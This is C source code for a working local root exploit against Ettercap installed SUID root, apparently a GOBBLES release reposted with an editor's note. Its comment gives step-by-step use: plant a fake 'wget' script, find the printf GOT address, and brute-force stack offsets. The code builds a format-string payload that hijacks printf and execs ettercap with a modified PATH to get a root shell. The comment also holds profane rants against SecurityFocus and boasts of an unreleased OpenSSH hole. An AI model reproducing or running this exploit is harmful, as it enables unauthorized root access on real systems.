/* [ RFP NOTE: The actual advisory, which was an attachment to this message, had some 'publishing restrictions'--so we decided to just not publish it and instead give you the link. You can view the full advisory at http://www.bugtraq.org/dev/GOBBLES-11.txt. Keep in mind this is for the few people who, for some reason, installed Ettercap SUID root. Installing Ettercap SUID root is not a default option. ] */ /* * own-ettercap - Ettercap local root exploit * - Alicia [GOBBLES] * * Ettercap has a configuration option called PERMIT_SUID. This allows the * administrator to make the binary SUID root. Among at least half a dozen * vulnerabilities in the program, there is a format string problem that can * be triggered if ncurses is present and the PERMIT_SUID option is used. * * No shellcode is needed for the exploit. It should work fine for systems * using ELF/x86. The exploitation idea is to overwrite the printf() GOT * with an address in the program's own code segment, namely for the * following: * * 441 void Main_Check_NewRelease(void) * [...] * 535 sprintf(wget, "wget http://%s/download/ettercap-%s.tar.gz" ... * 536 system(wget); * * Incidentally, lines 535-536 may or may not be exploitable alone. * * Openwall, StackGuard, Stackshield, PaX, libsafe, and Solaris * noexec_user_stack do nothing to stop this; FormatGuard might help. * Considering that most of our exploits defeat all of the above anyway, one * wonders what good they really do. * * We have an OpenSSH 2.9 sshd remote buffer overflow vulnerability (Hi Theo, * you do good work!). We'll post the details of the hole when we see that * securityfocus has stopped moderating us and offers an apology. It's a shame * that our research, which matches 95% of Bugtraq posts, is moderated on * the grounds of it being "technically feeble." Fucking cocksuckers. * * http://www.bugtraq.org/advisories.html * * Anyway, this exploit is pretty much penetrator proof, but it may not be * totally script kid proof. We apologize. * * 1. Change ECAP_PATH to the location of ettercap. * 2. DEF_SLEN and DEF_ALIGN should be fine as they are. * 3. DEF_GOB will unlikely work for you. Brute force it in step 7. * 4. Make a shell script named 'wget' in your current working directory: * bash-2.05$ cat > wget ; chmod +x wget * #!/bin/sh * /bin/sh * ^D * 5. Grab the printf() GOT address: * bash-2.05$ objdump -R ettercap | grep printf * 0808c478 R_386_JUMP_SLOT printf * 6. This is where most penetrators are likely to screw up. Disassemble * Main_Check_NewRelease and try to find where the first sprintf() * argument is prepared for being pushed onto the stack. Sample: * 0x8079268 : mov 0xfffffff0(%ebp),%eax * 0x807926b : push %eax * 0x807926c : lea 0xffffea58(%ebp),%eax * 0x8079272 : push %eax * 0x8079273 : push $0x80880a0 * 0x8079278 : lea 0xffffe9e8(%ebp),%eax * 0x807927e : push %eax * 0x807927f : call 0x804f418 * 0x8079284 : add $0x10,%esp * 0x8079287 : add $0xfffffff4,%esp * 0x807928a : lea 0xffffe9e8(%ebp),%eax * 0x8079290 : push %eax * 0x8079291 : call 0x804edd8 * 7. Now we brute force the stack stepping: * i=1; while [ $i -le 40 ] ; do ./expl 0x0808c478 0x8079268 $i; \ * i=`expr $i + 1`; done * * Some values of retadd aren't accounted for, but you should encounter no * problems unless you try testing with 0x41414141 and such. * * For old glibc, this will be useless. Should present a good programming * challenge for 90% of the team bugtraq commercial penetrator "academic * re$earch community" though. One wonders why the only ones who seem to * defend full disclosure are the ones who have something to lose in its * absence. Others just seem to think it's anti-Microsoft or anti-BigVendor. * As a good friend says, if they're so concerned about securing computer * networks worldwide, then why the fuck are they capitalizing on it? * * Fact: They profit with insecurity. * Fact: With security, they'd make no profit. * Conclusion: They don't want security. * Fact: They need customers to profit with insecurity. * Fact: The customers must be aware of their insecurity. * Conclusion: They need to do everything possible to scare the public. * * Microsoft: It's like shouting "FIRE!" in a cinema! * Securityfocus: But the cinema really is on fire! * Counter-Securityfocus: So you burn down the whole city as a "necessary * evil" to let everyone know the threat of the cinema on fire? * * Hey, securityfocus will probably reject this advisory, but then again, * they rejected our banner(1) exploit too. In some ways we hope they do * reject this as being too fluffy, because there are many people out there * who'd like to see the saga continue in a much more devastating way... * * - Alicia */ #include #include #include #include #include #define ECAP_PATH "./ettercap" #define DEF_GOB 20 #define DEF_SLEN 21 #define DEF_ALIGN 3 void usage(char *prog) { fprintf(stderr, "GOBBLES ettercap local root exploit\n"); fprintf(stderr, "usage: %s retloc retadd [gob] [align] [slen]\n", prog); exit(EXIT_FAILURE); } int chk_clean(void *addr, size_t len) { return (memchr(addr, '\0', len) || memchr(addr, '%', len)); } void mk_fmt(unsigned long retloc, unsigned long retadd, int gob, int align, int slen, char **attack) { char *ptr; unsigned long len, rllo, rlhi, ralo, rahi; if(!(*attack = malloc(gob * 4 + 256))) { perror("malloc"); exit(EXIT_FAILURE); } ptr = *attack; len = slen + align + 16 + gob * 9; rllo = retloc; rlhi = retloc + 2; ralo = retadd & 0xffff; rahi = retadd >> 16 & 0xffff; if(ralo > rahi) { rllo ^= rlhi, rlhi ^= rllo, rllo ^= rlhi; ralo ^= rahi, rahi ^= ralo, ralo ^= rahi; } ralo -= len; rahi -= ralo + len; while(align--) { *ptr++ = 'G'; } *((unsigned long *) ptr)++ = 0xdefaced; *((unsigned long *) ptr)++ = rllo; *((unsigned long *) ptr)++ = 0xdefaced; *((unsigned long *) ptr)++ = rlhi; if(chk_clean(ptr - 16, 16)) { fprintf(stderr, "bad: %#lx (& +2) - your skeelz needed!\n", retloc); exit(EXIT_FAILURE); } while(gob--) { memcpy(ptr, "%8x.", 4); ptr += 4; } sprintf(ptr, "%%%luc%%hn%%%luc%%hn", ralo, rahi); } int main(int argc, char **argv) { char *attack; unsigned long retloc, retadd; int gob = DEF_GOB, align = DEF_ALIGN, slen = DEF_SLEN; if(argc < 3) usage(argv[0]); retloc = strtoul(argv[1], NULL, 0); retadd = strtoul(argv[2], NULL, 0); if(argc > 3) gob = atoi(argv[3]); if(argc > 4) align = atoi(argv[4]); if(argc > 5) slen = atoi(argv[5]); mk_fmt(retloc, retadd, gob, align, slen, &attack); setenv("PATH", ".:/bin:/sbin:/usr/bin:/usr/sbin", 1); execl(ECAP_PATH, "ettercap", attack, (char *) 0); perror("execl"); free(attack); exit(EXIT_FAILURE); }